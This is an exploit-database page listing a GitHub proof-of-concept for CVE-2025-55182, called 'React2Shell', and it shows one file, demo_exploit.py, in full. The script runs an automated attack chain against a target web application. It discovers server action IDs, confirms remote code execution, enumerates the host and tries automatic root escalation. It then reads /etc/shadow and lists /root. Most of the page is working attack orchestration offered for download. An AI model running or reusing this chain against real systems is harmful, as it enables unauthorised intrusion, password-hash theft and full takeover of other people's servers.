Exploit database

GH-4ab5825ac50cb2a0efe42ffe867e223f

cerberusmrxi/cerberus-react2shell-scanner-exploit

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-55182

257 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files14

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

demo_exploit.py

Python · 9,693 bytes
#!/usr/bin/env python3
"""
React2Shell Complete Exploitation Demo
Author: Sudeepa Wanigarathna
Description: Automated attack chain from RCE to root access
"""

import sys
import time
import argparse
from colorama import Fore, Style, init

# Import our modules
sys.path.insert(0, '/home/cerberusmrxi/Desktop/Cerberus-React2Shell-Hades')
from react2shell_exploit import React2ShellExploit
from post_exploit.linux_enum import LinuxEnumerator
from post_exploit.priv_esc import PrivilegeEscalator

init(autoreset=True)

class ExploitDemo:
    def __init__(self, target_url: str, auto_root: bool = False):
        self.target_url = target_url
        self.auto_root = auto_root
        self.exploit = React2ShellExploit(target_url, verbose=True)
        self.enumerator = None
        self.escalator = None
        
    def banner(self):
        """Display banner"""
        banner = f"""
{Fore.RED}╔═══════════════════════════════════════════════════════════════╗
║                                                               ║
║   ██████╗ ███████╗██████╗ ██████╗ ███████╗██████╗ ██╗   ██╗ ║
║  ██╔════╝ ██╔════╝██╔══██╗██╔══██╗██╔════╝██╔══██╗██║   ██║ ║
║  ██║      █████╗  ██████╔╝██████╔╝█████╗  ██████╔╝██║   ██║ ║
║  ██║      ██╔══╝  ██╔══██╗██╔══██╗██╔══╝  ██╔══██╗██║   ██║ ║
║  ╚██████╗ ███████╗██║  ██║██████╔╝███████╗██║  ██║╚██████╔╝ ║
║   ╚═════╝ ╚══════╝╚═╝  ╚═╝╚═════╝ ╚══════╝╚═╝  ╚═╝ ╚═════╝  ║
║                                                               ║
║        React2Shell Exploitation Framework v1.0               ║
║              Author: Sudeepa Wanigarathna                    ║
║                                                               ║
╚═══════════════════════════════════════════════════════════════╝{Style.RESET_ALL}
        """
        print(banner)
    
    def log_step(self, step_num: int, description: str):
        """Log attack step"""
        print(f"\n{Fore.CYAN}{'='*70}")
        print(f"{Fore.YELLOW}[STEP {step_num}] {description}")
        print(f"{Fore.CYAN}{'='*70}{Style.RESET_ALL}\n")
        time.sleep(1)
    
    def step1_discovery(self):
        """Step 1: Discover Action IDs"""
        self.log_step(1, "DISCOVERING SERVER ACTION IDS")
        
        ids = self.exploit.discover_action_ids()
        print(f"{Fore.GREEN}[+] Discovered {len(ids)} potential Action IDs{Style.RESET_ALL}")
        return ids
    
    def step2_find_working_id(self, ids):
        """Step 2: Find working Action ID"""
        self.log_step(2, "FINDING WORKING ACTION ID")
        
        working_id = self.exploit.find_working_action_id(ids)
        if not working_id:
            print(f"{Fore.RED}[!] Failed to find working Action ID{Style.RESET_ALL}")
            return False
        
        print(f"{Fore.GREEN}[+] Working Action ID: {working_id}{Style.RESET_ALL}")
        return True
    
    def step3_verify_rce(self):
        """Step 3: Verify RCE"""
        self.log_step(3, "VERIFYING REMOTE CODE EXECUTION")
        
        success, output = self.exploit.execute_command("id")
        if success and output:
            print(f"{Fore.GREEN}[+] RCE CONFIRMED!{Style.RESET_ALL}")
            print(f"{Fore.YELLOW}Output:{Style.RESET_ALL} {output}")
            return True
        else:
            print(f"{Fore.RED}[!] RCE verification failed{Style.RESET_ALL}")
            return False
    
    def step4_enumerate(self):
        """Step 4: System Enumeration"""
        self.log_step(4, "ENUMERATING TARGET SYSTEM")
        
        # Create enumerator using exploit's execute_command
        def execute_wrapper(cmd):
            return self.exploit.execute_command(cmd)
        
        self.enumerator = LinuxEnumerator(execute_wrapper)
        enum_data = self.enumerator.run_full_enum()
        
        print()
        self.enumerator.print_report()
        
        return enum_data
    
    def step5_escalate(self, enum_data):
        """Step 5: Privilege Escalation"""
        self.log_step(5, "ATTEMPTING PRIVILEGE ESCALATION")
        
        # Create escalator
        def execute_wrapper(cmd):
            return self.exploit.execute_command(cmd)
        
        self.escalator = PrivilegeEscalator(execute_wrapper)
        
        if self.auto_root:
            success = self.escalator.auto_escalate(enum_data)
            
            if success:
                print(f"\n{Fore.GREEN}{'='*70}")
                print(f"{Fore.GREEN}[!!!] ROOT ACCESS ACHIEVED! [!!!]")
                print(f"{Fore.GREEN}{'='*70}{Style.RESET_ALL}\n")
                
                # Verify root
                success, output = self.exploit.execute_command("id")
                if output:
                    print(f"{Fore.YELLOW}Current User:{Style.RESET_ALL} {output}\n")
                
                return True
            else:
                print(f"\n{Fore.RED}[!] Automatic escalation failed")
                print(f"[*] Manual exploitation may be required{Style.RESET_ALL}\n")
                self.escalator.print_summary()
                return False
        else:
            print(f"{Fore.YELLOW}[*] Auto-root disabled. Use --auto-root to attempt escalation{Style.RESET_ALL}")
            return True
    
    def step6_demonstrate_access(self):
        """Step 6: Demonstrate Full Access"""
        self.log_step(6, "DEMONSTRATING SYSTEM ACCESS")
        
        commands = [
            ("whoami", "Current User"),
            ("hostname", "Hostname"),
            ("uname -a", "Kernel Version"),
            ("cat /etc/shadow | head -5", "Shadow File (First 5 lines)"),
            ("ls -la /root", "Root Directory"),
        ]
        
        print(f"{Fore.YELLOW}Executing commands to demonstrate access...{Style.RESET_ALL}\n")
        
        for cmd, description in commands:
            print(f"{Fore.CYAN}[*] {description}:{Style.RESET_ALL}")
            success, output = self.exploit.execute_command(cmd)
            if success and output:
                print(f"    {output[:200]}")  # Truncate long output
            else:
                print(f"    {Fore.RED}[Failed]{Style.RESET_ALL}")
            print()
            time.sleep(0.5)
    
    def run_full_chain(self):
        """Run complete exploitation chain"""
        self.banner()
        
        print(f"{Fore.CYAN}[*] Target: {self.target_url}")
        print(f"[*] Auto-Root: {'Enabled' if self.auto_root else 'Disabled'}{Style.RESET_ALL}\n")
        
        input(f"{Fore.YELLOW}Press ENTER to start the attack chain...{Style.RESET_ALL}")
        
        try:
            # Step 1: Discovery
            ids = self.step1_discovery()
            if not ids:
                return False
            
            # Step 2: Find working ID
            if not self.step2_find_working_id(ids):
                return False
            
            # Step 3: Verify RCE
            if not self.step3_verify_rce():
                return False
            
            # Step 4: Enumerate
            enum_data = self.step4_enumerate()
            
            # Step 5: Escalate
            if not self.step5_escalate(enum_data):
                pass  # Continue even if escalation fails
            
            # Step 6: Demonstrate
            self.step6_demonstrate_access()
            
            # Final summary
            print(f"\n{Fore.GREEN}{'='*70}")
            print(f"{Fore.GREEN}[✓] EXPLOITATION COMPLETE")
            print(f"{Fore.GREEN}{'='*70}{Style.RESET_ALL}\n")
            
            return True
            
        except KeyboardInterrupt:
            print(f"\n{Fore.RED}[!] Attack interrupted by user{Style.RESET_ALL}")
            return False
        except Exception as e:
            print(f"\n{Fore.RED}[!] Error during exploitation: {e}{Style.RESET_ALL}")
            import traceback
            traceback.print_exc()
            return False


def main():
    parser = argparse.ArgumentParser(
        description="React2Shell Complete Exploitation Demo",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  # Basic RCE demo (no privilege escalation)
  python3 demo_exploit.py --target http://127.0.0.1:3000
  
  # Full chain with automatic root escalation
  python3 demo_exploit.py --target http://127.0.0.1:3000 --auto-root
  
  # Quick vulnerability check
  python3 react2shell_exploit.py --target http://127.0.0.1:3000 --check
        """
    )
    
    parser.add_argument("--target", required=True, help="Target URL")
    parser.add_argument("--auto-root", action="store_true", help="Attempt automatic privilege escalation to root")
    
    args = parser.parse_args()
    
    demo = ExploitDemo(args.target, args.auto_root)
    success = demo.run_full_chain()
    
    sys.exit(0 if success else 1)


if __name__ == "__main__":
    main()